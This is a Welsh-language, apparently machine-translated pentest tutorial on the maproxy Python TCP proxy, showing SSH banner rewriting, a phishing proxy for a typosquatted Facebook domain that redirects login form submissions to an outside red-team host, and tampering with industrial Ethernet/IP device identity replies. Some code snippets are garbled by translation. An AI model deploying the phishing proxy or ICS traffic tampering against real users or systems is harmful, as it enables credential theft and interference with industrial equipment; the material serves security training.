Prosesu data rhwydwaith ar y hedfan

Paratowyd y cyfieithiad o'r erthygl ar y noson cyn dechrau'r cwrs “Pentest. Ymarfer profi treiddiad".

Prosesu data rhwydwaith ar y hedfan

Abstract

Mae amrywiaeth o fathau o asesiadau diogelwch, sy'n amrywio o brofion treiddiad rheolaidd a gweithrediadau'r Tîm Coch i hacio dyfeisiau IoT/ICS a SCADA, yn cynnwys gweithio gyda phrotocolau rhwydwaith deuaidd, hynny yw, yn y bôn yn rhyng-gipio ac yn addasu data rhwydwaith rhwng y cleient a'r targed. Nid yw arogli traffig rhwydwaith yn dasg anodd gan fod gennym offer fel Wireshark, Tcpdump neu Scapy, ond mae'n ymddangos bod addasu yn dasg fwy llafurddwys gan y bydd angen i ni gael rhyw fath o ryngwyneb i ddarllen data'r rhwydwaith, ei hidlo, ei newid mae'n hedfan a'i anfon yn ôl at y gwesteiwr targed mewn amser real bron. Yn ogystal, byddai'n ddelfrydol pe gallai offeryn o'r fath weithio'n awtomatig gyda chysylltiadau cyfochrog lluosog a bod modd ei addasu gan ddefnyddio sgriptiau.

Un diwrnod darganfyddais offeryn o'r enw maproxy, roedd y ddogfennaeth yn ei gwneud yn glir i mi yn gyflym maproxy - dim ond yr hyn sydd ei angen arnaf. Mae hwn yn ddirprwy TCP eithaf syml, amlbwrpas a hawdd ei ffurfweddu. Profais yr offeryn hwn ar sawl cymhwysiad eithaf cymhleth, gan gynnwys dyfeisiau ICS (sy'n cynhyrchu llawer o becynnau) i weld a allai drin llawer o gysylltiadau cyfochrog, a pherfformiodd yr offeryn yn dda.

Bydd yr erthygl hon yn eich cyflwyno i brosesu data rhwydwaith ar y hedfan gan ddefnyddio maproxy.

Adolygu

Offeryn maproxy yn seiliedig ar Tornado, fframwaith rhwydweithio asyncronaidd poblogaidd ac aeddfed yn Python.

Yn gyffredinol, gall weithredu mewn sawl dull:

  • TCP:TCP - cysylltiadau TCP heb eu hamgryptio;
  • TCP:SSL и SSL:TCP - gydag amgryptio unffordd;
  • SSL:SSL - amgryptio dwy ffordd.

Mae'n dod fel llyfrgell. I gael cychwyn cyflym, gallwch ddefnyddio ffeiliau enghreifftiol sy'n adlewyrchu'r prif swyddogaethau llyfrgell:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Achos 1 – dirprwy deugyfeiriadol syml

Yn seiliedig ar tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Yn ddiofyn ProxyServer() yn cymryd dwy ddadl - lleoliad y cysylltiad a'r porthladd targed. server.listen() yn cymryd un ddadl - y porthladd ar gyfer gwrando ar y cysylltiad sy'n dod i mewn.

Gweithredu'r sgript:

# python tcp2tcp.py

Er mwyn rhedeg y prawf, rydyn ni'n mynd i gysylltu â gweinydd SSH lleol trwy ein sgript dirprwy, sy'n gwrando ar 2222/tcp porthladd ac yn cysylltu â phorthladd safonol 22/tcp Gweinyddwyr SSH:

Prosesu data rhwydwaith ar y hedfan

Mae'r faner groeso yn eich hysbysu bod ein sgript enghreifftiol wedi llwyddo i ddirprwyo traffig rhwydwaith.

Achos 2 – addasu data

Sgript demo arall logging_proxy.py yn ddelfrydol ar gyfer rhyngweithio â data rhwydwaith. Mae'r sylwadau yn y ffeil yn disgrifio'r dulliau dosbarth y gallwch eu haddasu i gyrraedd eich nod:

Prosesu data rhwydwaith ar y hedfan

Mae'r peth mwyaf diddorol yma:

  • on_c2p_done_read – i ryng-gipio data ar hyd y ffordd o'r cleient i'r gweinydd;
  • on_p2s_done_read - gwrthdroi.

Gadewch i ni geisio newid y faner SSH y mae'r gweinydd yn ei dychwelyd i'r cleient:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Gweithredu'r sgript:

Prosesu data rhwydwaith ar y hedfan

Fel y gwelwch, cafodd y cleient ei gamarwain oherwydd newidiwyd enw'r gweinydd SSH iddo «DumnySSH».

Prosesu data rhwydwaith ar y hedfan

Achos 3 – tudalen we gwe-rwydo syml

Mae yna ffyrdd diddiwedd o ddefnyddio'r offeryn hwn. Y tro hwn, gadewch i ni ganolbwyntio ar rywbeth mwy ymarferol o ochr gweithrediadau'r Tîm Coch. Gadewch i ni efelychu'r dudalen lanio m.facebook.com a defnyddio parth wedi'i deilwra gyda theip bwriadol, er enghraifft, m.facebok.com. At ddibenion arddangos, gadewch i ni dybio bod y parth wedi'i gofrestru gennym ni.

Rydyn ni'n mynd i sefydlu cysylltiad rhwydwaith heb ei amgryptio gyda'n dirprwy ddioddefwyr a SSL Stream i'r gweinydd Facebook (31.13.81.36). Er mwyn gwneud i'r enghraifft hon weithio, mae angen i ni ddisodli'r pennawd gwesteiwr HTTP a chwistrellu'r enw gwesteiwr cywir, a byddwn hefyd yn analluogi cywasgu ymateb fel y gallwn gyrchu'r cynnwys yn hawdd. Yn y pen draw byddwn yn disodli'r ffurflen HTML fel bod y manylion mewngofnodi yn cael eu hanfon atom yn lle gweinyddwyr Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/cy/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

I grynhoi:

Prosesu data rhwydwaith ar y hedfan

Fel y gallwch weld, rydym wedi llwyddo i newid y safle gwreiddiol.

Achos 4 – Cludo Ethernet/IP

Rwyf wedi bod yn delio â dyfeisiau a meddalwedd diwydiannol (ICS/SCADA) ers cryn amser, fel rheolwyr rhaglenadwy (PLC), modiwlau I/O, gyriannau, releiau, amgylcheddau rhaglennu ysgolion a llawer mwy. Mae'r achos hwn ar gyfer y rhai sy'n hoffi pethau diwydiannol. Mae hacio atebion o'r fath yn golygu chwarae gyda phrotocolau rhwydwaith. Yn yr enghraifft ganlynol, hoffwn ddangos sut y gallwch chi addasu traffig rhwydwaith ICS/SCADA.

Ar gyfer hyn bydd angen y canlynol arnoch:

  • Synhwyrydd rhwydwaith, er enghraifft, Wireshark;
  • Ethernet/IP neu ddyfais SIP yn unig, gallwch ddod o hyd iddo gan ddefnyddio gwasanaeth Shodan;
  • Mae ein sgript yn seiliedig ar maproxy.

Yn gyntaf, gadewch i ni edrych ar sut beth yw ymateb adnabod nodweddiadol gan CIP (Protocol Diwydiannol Cyffredin):

Prosesu data rhwydwaith ar y hedfan

Cyflawnir adnabod dyfais gan ddefnyddio'r protocol Ethernet / IP, sy'n fersiwn well o'r protocol Ethernet diwydiannol sy'n lapio protocolau rheoli fel CIP. Rydyn ni'n mynd i newid yr enw ID sydd wedi'i amlygu sydd i'w weld yn y sgrinlun "NI-IndComm ar gyfer Ethernet" defnyddio ein sgript dirprwy. Gallem ailddefnyddio'r sgript logging_proxy.py ac yn yr un modd yn addasu dull y dosbarth on_p2s_done_read, oherwydd ein bod am i enw hunaniaeth gwahanol fod yn weladwy ar y cleient.

Côd:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Yn y bôn, gofynnom am adnabod dyfais ddwywaith, yr ail ymateb oedd yr un gwreiddiol, ac addaswyd yr un cyntaf ar y hedfan.

A'r olaf

Yn fy marn i maproxy Offeryn cyfleus a syml, sydd hefyd wedi'i ysgrifennu yn Python, felly credaf y gallwch chithau hefyd elwa o'i ddefnyddio. Wrth gwrs, mae offer mwy cymhleth ar gyfer prosesu ac addasu data rhwydwaith, ond mae angen mwy o sylw arnynt hefyd ac fel arfer cânt eu creu ar gyfer achos defnydd penodol, e.e. murena, Modlishka neu drwgginx am achosion cyffelyb i'r trydydd, neu canape am yr achos olaf. Un ffordd neu'r llall, gyda chymorth maproxy gallwch chi weithredu'ch syniadau ar gyfer rhyng-gipio data rhwydwaith yn gyflym, gan fod y sgriptiau enghreifftiol yn glir iawn.

Profi mecanweithiau dilysu yn Windows AD

Ffynhonnell: hab.com

Ychwanegu sylw